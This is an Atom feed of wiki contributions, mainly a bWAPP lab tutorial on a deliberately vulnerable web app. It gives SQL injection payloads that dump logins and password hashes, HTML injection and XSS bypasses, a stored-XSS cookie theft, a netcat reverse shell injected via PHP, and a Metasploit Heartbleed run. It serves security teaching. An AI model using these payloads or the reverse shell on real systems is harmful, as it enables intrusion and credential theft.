<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SWeisser</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SWeisser"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/SWeisser"/>
	<updated>2026-09-10T15:30:49Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HBH_-_Hellbound_Hackers&amp;diff=17642</id>
		<title>HBH - Hellbound Hackers</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HBH_-_Hellbound_Hackers&amp;diff=17642"/>
		<updated>2024-12-18T19:51:23Z</updated>

		<summary type="html">&lt;p&gt;SWeisser: Created page with &amp;quot;== Introduction ==   Hellbound Hackers is a web application that offers many services in the field of hacking. It was founded in 2003 to show interested parties how the technical background works and how hackers operate. It is now a non-profit organisation that provides users with over 150 simulated tasks. These are VM-based tasks that simulate real systems and vulnerabilities. Behind the application are 3 British (rex-mundi, maagnet, Mordak) and one American developer (...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Hellbound Hackers is a web application that offers many services in the field of hacking. It was founded in 2003 to show interested parties how the technical background works and how hackers operate. It is now a non-profit organisation that provides users with over 150 simulated tasks. These are VM-based tasks that simulate real systems and vulnerabilities. Behind the application are 3 British (rex-mundi, maagnet, Mordak) and one American developer (elmiguel). &lt;br /&gt;
&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:HBH_home.png|thumb|none|500px|The homepage of HBH, https://hbh.sh/home]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Content to Offer ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt; A blog about what is going on with the website. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; A collection of relevant articles. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; A forum for user interaction. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; A code collection of different programming languages. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; News of new technologies. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Many challenges for learning purposes. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; A hall of fame. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt; Challenges: &amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
The developers initially offer four prerequisite tasks designed to help beginners get started. These tasks—focused on &amp;quot;Application Cracking,&amp;quot; &amp;quot;JavaScript Hacking,&amp;quot; &amp;quot;Penetration Testing,&amp;quot; and &amp;quot;Basic Web Hacking&amp;quot;—introduce fundamental security approaches for established technologies, with a strong technical emphasis. Challenges in &amp;quot;Rooting,&amp;quot; &amp;quot;Application Patching,&amp;quot; and &amp;quot;PHP Patching&amp;quot; target tools that support the foundation of these established systems. To develop skills beyond hacking, the platform also provides challenges in steganography, decryption, and logical reasoning. Tasks in &amp;quot;Reverse Engineering&amp;quot; and &amp;quot;Tracking&amp;quot; aim to build investigative skills for countering hacker attacks. Additionally, there are challenges related to &amp;quot;Social Engineering.”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hbh.sh/home&lt;br /&gt;
* &lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SWeisser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:HBH_home.png&amp;diff=17636</id>
		<title>File:HBH home.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:HBH_home.png&amp;diff=17636"/>
		<updated>2024-12-18T19:46:18Z</updated>

		<summary type="html">&lt;p&gt;SWeisser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>SWeisser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=17590</id>
		<title>BWAPP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BWAPP&amp;diff=17590"/>
		<updated>2024-12-18T18:52:22Z</updated>

		<summary type="html">&lt;p&gt;SWeisser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;bWAPP is the abbreviation for &amp;quot;buggy web application&amp;quot; and it&#039;s a deliberately insecure web application [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It&#039;s also supported by WAMP and XAMPP to use a local webserver.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP architectur.PNG||200px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
[[File:BWAPP1Start.PNG|300px|center]]&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
&lt;br /&gt;
For a successful installation, follow these steps:&lt;br /&gt;
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:OfficialWebsite bWAPP.png|500px|center]]&lt;br /&gt;
*The password is deleted from the PHP file “setting.php”&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP PHPfile with password.png|left]]&lt;br /&gt;
[[File:BWAPP PHPfile without password.png|right]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel&amp;lt;/br&amp;gt;&lt;br /&gt;
*Open “localhost / bwapp / install.php” via the browser and then click on &amp;quot;here&amp;quot;. If the installation was successful, this will also be communicated with a short message.&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears. &lt;br /&gt;
**Username is “bee” &lt;br /&gt;
**Password is “bug”.&lt;br /&gt;
*User is logged in now and can play around with the application.&lt;br /&gt;
[[File:BWAPP installed and ready to use.png|500px|center]]&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain their desired result.&amp;lt;/br&amp;gt;&lt;br /&gt;
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:BWAPP SQLInjection.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*By entering any terms into the search field (e.g. &amp;quot;man&amp;quot;), it&#039;s possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.&lt;br /&gt;
[[File:BWAPP withsearch.PNG|500px|center]]&lt;br /&gt;
[[File:BWAPP nosearch.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.&lt;br /&gt;
[[File:BWAPP error.PNG|500px|center]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By visualizing the columns, you can get the information such as the name or/and the version of the database&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -&#039;&#039; &amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
**&#039;&#039;localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -&#039;&#039;&amp;lt;/br&amp;gt;&lt;br /&gt;
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.&lt;br /&gt;
[[File:BWAPP hash.PNG|500px|center]]&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&lt;br /&gt;
== HTML injection ==&lt;br /&gt;
HTML injection is a technique used to take advantage of non-validated input to modify a web page presented by a web application to its users &amp;lt;ref&amp;gt;Imperva, &#039;&#039;HTML Injection&#039;&#039;, accessed on: 26.01.2022. [Online]. Available: https://www.imperva.com/learn/application-security/html-injection/&amp;lt;/ref&amp;gt;. To prevent it, user input must be sanitized. Let&#039;s look at it in the bWAPP. We have different security levels here, and depending on the security level, the injection gets easier/harder. This is because different input sanitization is applied. Let&#039;s first have a look at bWAPP&#039;s [https://github.com/theand-fork/bwapp-code source code] &amp;lt;ref&amp;gt;bWAPP Github, &#039;&#039;htmli_get.php&#039;&#039;,accessed on: 26.01.2022. [Online]. Available: https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/htmli_get.php&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; : &lt;br /&gt;
            //LOW&lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            &lt;br /&gt;
            $data = xss_check_1($data);&lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;2&amp;quot; :            &lt;br /&gt;
                       &lt;br /&gt;
            $data = xss_check_3($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        default : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;   &lt;br /&gt;
    }       &lt;br /&gt;
&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 function no_check($data)&lt;br /&gt;
 {    &lt;br /&gt;
    return $data;  &lt;br /&gt;
 }&lt;br /&gt;
There is no input sanitization at all - whatever the user enters in accepted. When we choose the &amp;lt;b&amp;gt;HTML injection - Reflected (GET)&amp;lt;/b&amp;gt; exploit in the bWAPP, and insert a vulnerable string with bold HTML tags, we get the following result:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp1.png|thumb|none|500px|Output can be seen below the input fields as &amp;quot;hello &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt;&amp;quot;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 function xss_check_1($data)&lt;br /&gt;
 {&lt;br /&gt;
    &lt;br /&gt;
    // Converts only &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot; to HTLM entities    &lt;br /&gt;
    $input = str_replace(&amp;quot;&amp;lt;&amp;quot;, &amp;quot;&amp;amp;lt;&amp;quot;, $data);&lt;br /&gt;
    $input = str_replace(&amp;quot;&amp;gt;&amp;quot;, &amp;quot;&amp;amp;gt;&amp;quot;, $input);&lt;br /&gt;
    &lt;br /&gt;
    // Failure is an option&lt;br /&gt;
    // Bypasses double encoding attacks   &lt;br /&gt;
    // &amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;&lt;br /&gt;
    // %3Cscript%3Ealert%280%29%3C%2Fscript%3E&lt;br /&gt;
    // %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E&lt;br /&gt;
    $input = urldecode($input);&lt;br /&gt;
    &lt;br /&gt;
    return $input;&lt;br /&gt;
    &lt;br /&gt;
 }&lt;br /&gt;
There is some input sanitization - the tags will be converted to HTML entities. Now when we enter the same string as before, we get the following result:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp2.png|thumb|none|500px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To bypass this, we need to URL encode the input directly, so that we don&#039;t pass the HTML tags directly. The URL encoding of &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt; is %3Cb%3Eworld%3C%2Fb%3E , which we now enter to the input field, resulting in the following output:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp3.png|thumb|none|500px| Result of medium security level, entering URL encoded &amp;lt;b&amp;gt;world&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This utilizes the following method for input sanitization:&lt;br /&gt;
 function xss_check_3($data, $encoding = &amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
 {&lt;br /&gt;
    // htmlspecialchars - converts special characters to HTML entities    &lt;br /&gt;
    // &#039;&amp;amp;&#039; (ampersand) becomes &#039;&amp;amp;amp;&#039; &lt;br /&gt;
    // &#039;&amp;quot;&#039; (double quote) becomes &#039;&amp;amp;quot;&#039; when ENT_NOQUOTES is not set&lt;br /&gt;
    // &amp;quot;&#039;&amp;quot; (single quote) becomes &#039;&amp;amp;#039;&#039; (or &amp;amp;apos;) only when ENT_QUOTES is set&lt;br /&gt;
    // &#039;&amp;lt;&#039; (less than) becomes &#039;&amp;amp;lt;&#039;&lt;br /&gt;
    // &#039;&amp;gt;&#039; (greater than) becomes &#039;&amp;amp;gt;&#039;  &lt;br /&gt;
    &lt;br /&gt;
    return htmlspecialchars($data, ENT_QUOTES, $encoding);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Now it is very well protected. However, if we could somehow change the browser setting from UTF-8 encoding to UTF-7 this might work. ‘&amp;lt;’, ‘&amp;gt;’, ‘”’ have different code points than UTF-8 so they are not escaped unless convert the output to UTF-8.&lt;br /&gt;
&lt;br /&gt;
== PHP injection ==&lt;br /&gt;
In the URL we can see in which format the message gets sent to the backend. We can now try to insert some commands to extract information from the web application.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp4.png|thumb|none|450px|phpinfo()]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp5.png|thumb|none|500px|inject command &amp;quot;ls&amp;quot;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We will try to create a reverse shell in this way:&lt;br /&gt;
* create a listener on a machine 192.168.0.102 on a port (we chose 4444)&lt;br /&gt;
 nc -lvp 4444&lt;br /&gt;
* inject the reverse shell in the bWAPP&lt;br /&gt;
 message=system(&#039;nc 192.168.0.102 4444 -e /bin/bash&#039;)&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp6.png|thumb|none|400px|checking in the reverse shell if we are really inside the bWAPP]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cross-Site Scripting (XSS) ==&lt;br /&gt;
XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. The bWAPP offers many attack vectors for this vulnerability:&lt;br /&gt;
[[File:Bwapp7.png|thumb|none|300px]]&lt;br /&gt;
&amp;lt;b&amp;gt;XSS Reflected (GET) &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Let&#039;s look at a simple JavaScript insertion, while in low security level.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Bwapp8.png|thumb|none|500px|Inserting JavaScript code &amp;lt;b&amp;gt;&amp;lt;script&amp;gt;alert(&#039;Success&#039;)&amp;lt;/script&amp;gt;&amp;lt;/b&amp;gt;]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In medium security level this doesn&#039;t work, as there is input sanitization involved:&lt;br /&gt;
 switch($_COOKIE[&amp;quot;security_level&amp;quot;])&lt;br /&gt;
    {&lt;br /&gt;
        case &amp;quot;0&amp;quot; : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;1&amp;quot; :&lt;br /&gt;
            &lt;br /&gt;
            $data = xss_check_4($data);&lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        case &amp;quot;2&amp;quot; :            &lt;br /&gt;
                       &lt;br /&gt;
            $data = xss_check_3($data);            &lt;br /&gt;
            break;&lt;br /&gt;
        &lt;br /&gt;
        default : &lt;br /&gt;
            &lt;br /&gt;
            $data = no_check($data);            &lt;br /&gt;
            break;   &lt;br /&gt;
    } &lt;br /&gt;
&lt;br /&gt;
 function xss_check_4($data)&lt;br /&gt;
 {&lt;br /&gt;
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.&lt;br /&gt;
    // These characters are single quote (&#039;), double quote (&amp;quot;), backslash (\) and NUL (the NULL byte).&lt;br /&gt;
    // Do NOT use this for XSS or HTML validations!!!&lt;br /&gt;
    &lt;br /&gt;
    return addslashes($data); &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;XSS Stored (Blog) &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The picture below displays a stored XSS attack using a blog post.&lt;br /&gt;
&lt;br /&gt;
[[File:StoredXSSAtt.png|Example for stored XSS using a blog post]]&lt;br /&gt;
&lt;br /&gt;
In the first part of the picture shows a regular blog of the BWAPP exercise &amp;quot;stored XSS (Blog)&amp;quot;. Here a user can create a comment and after publishing any user who visits the page is able to see the published blog post. In this case a user has published a malicious blog post that is executed by every browser displaying this post. The post of this user consists of A regular commentary on the blog and a script. This script is responsible for creating variable to which an image element is assigned. This variable is than used to send the current browser cookie to the specified address. Since the the code is surrounded by the script tags it is never displayed to the user once published as seen below the code. The blog entry number 10 shows how this blog entry is displayed to every user visiting this page. As one can see there is now way one can tell that malicious code has been injected. In this case the blog and the attacker are in the same network, once someone views this entry the browser interprets and executes the script and sends the browser cookies of the current user to the attacker. The last part of the picture one sees the terminal of the attacker with netcat listening on port 9000 once the published entry of the attacker is viewed by someone this is what the attacker gets send. As one can see there is multiple information about the victim is displayed along this information is also the browser cookie which can have further used to the attacker. E.g. the attacker can impersonate the victim and let a web service believe they are the user they stole this information from. Most XSS attacks can be mitigated using proper input sanitization. E.g. a whitelist or blacklist can be created preventing the input of invalid input such as the script tag or greater/less than symbols which can be used for escaping tags and force script execution. Another option for mitigation is encoding where certain symbols considered enabling for script execution are encoded in a way they are safe to use as a user input.&lt;br /&gt;
&lt;br /&gt;
== Heartbleed ==&lt;br /&gt;
We choose the Heartbleed Vulnerability with low security level and get the information to log on port 8443. This exploit will be performed via a second machine, a Kali Linux VM in the same network. Please refer to the [[Heartbleed]] wiki for more information about this vulnerability. The following commands are necessary:&lt;br /&gt;
* Open Metasploit&lt;br /&gt;
 msfconsole&lt;br /&gt;
* Search for heartbleed&lt;br /&gt;
 msf6 &amp;gt; search heartbleed&lt;br /&gt;
 &lt;br /&gt;
 Matching Modules&lt;br /&gt;
 ================&lt;br /&gt;
 &lt;br /&gt;
   #  Name                                              Disclosure Date  Rank    Check  Description&lt;br /&gt;
   -  ----                                              ---------------  ----    -----  -----------&lt;br /&gt;
   0  auxiliary/server/openssl_heartbeat_client_memory  2014-04-07       normal  No     OpenSSL Heartbeat (Heartbleed) Client Memory Exposure&lt;br /&gt;
   1  auxiliary/scanner/ssl/openssl_heartbleed          2014-04-07       normal  Yes    OpenSSL Heartbeat (Heartbleed) Information Leak&lt;br /&gt;
 &lt;br /&gt;
 Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssl/openssl_heartbleed&lt;br /&gt;
* Use option 1, set host to the IP address of bWAPP and the port to 8443, afterwards exploit&lt;br /&gt;
 msf6 &amp;gt; use 1&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set RHOSTS 192.168.0.157&lt;br /&gt;
 RHOSTS =&amp;gt; 192.168.0.157&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set RPORT 8443&lt;br /&gt;
 RPORT =&amp;gt; 8443&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; set verbose true&lt;br /&gt;
 verbose =&amp;gt; true&lt;br /&gt;
 msf6 auxiliary(scanner/ssl/openssl_heartbleed) &amp;gt; exploit&lt;br /&gt;
* This reveals the following output:&lt;br /&gt;
 [*] 192.168.0.157:8443    - Leaking heartbeat response #1&lt;br /&gt;
 [*] 192.168.0.157:8443    - Sending Client Hello...&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  86&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 82&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Hello (2)&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Version:           0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello random data:       61f1acf3bd02d1cdfa08f8ee5ca2066b32c1debd9db45f75ff3cdeb42a62046d&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Session ID length: 32&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Server Hello Session ID:        9029cb68a0f14cb4a65c6b9332145b69916c45d85d0e920f4b9de276b2f6d585&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #2:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  675&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 671&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Certificate Data (11)&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Certificates length: 668&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Data length: 671&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Certificate #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -                     Certificate #1: Length: 665&lt;br /&gt;
 [*] 192.168.0.157:8443    -                     Certificate #1: #&amp;lt;OpenSSL::X509::Certificate: subject=#&amp;lt;OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee- box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE&amp;gt;, issuer=#&amp;lt;OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE&amp;gt;, serial=#&amp;lt;OpenSSL::BN:0x00007f9ea8a4edd8&amp;gt;, not_before=2013-04-14 18:11:32 UTC, not_after=2018-04-13 18:11:32 UTC&amp;gt;&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #3:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  203&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 199&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Key Exchange (12)&lt;br /&gt;
 [*] 192.168.0.157:8443    - SSL record #4:&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Type:    22&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Version: 0x0301&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Length:  4&lt;br /&gt;
 [*] 192.168.0.157:8443    -     Handshake #1:&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Length: 0&lt;br /&gt;
 [*] 192.168.0.157:8443    -             Type:   Server Hello Done (14)&lt;br /&gt;
 [*] 192.168.0.157:8443    - Sending Heartbeat...&lt;br /&gt;
 [*] 192.168.0.157:8443    - Heartbeat response, 13027 bytes&lt;br /&gt;
 [+] 192.168.0.157:8443    - Heartbeat response with leak, 13027 bytes&lt;br /&gt;
 [*] 192.168.0.157:8443    - &amp;lt;b&amp;gt;Printable info leaked:&lt;br /&gt;
 ......a......`.\*..W....D2..c....C......f.....&amp;quot;.!.9.8.........5.............................3.2.....E.D...../...A........&lt;br /&gt;
 .....................................4.2...................................................#..............................&lt;br /&gt;
 ....................................................................................................... repeated 12548 times  &lt;br /&gt;
 .....................................................................................................................................&amp;lt;/b&amp;gt;&lt;br /&gt;
 [*] 192.168.0.157:8443    - Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;
 [*] Auxiliary module execution completed&lt;br /&gt;
&lt;br /&gt;
== Remote &amp;amp; Local File Inclusion (RFI/LFI) ==&lt;br /&gt;
This page contains a prompt to select a language, where the user can choose between English, French and Dutch. The chosen parameter then gets passed in the URL like this:&lt;br /&gt;
 http://localhost/bWAPP/rlfi.php?language=lang_en&amp;amp;action=go&lt;br /&gt;
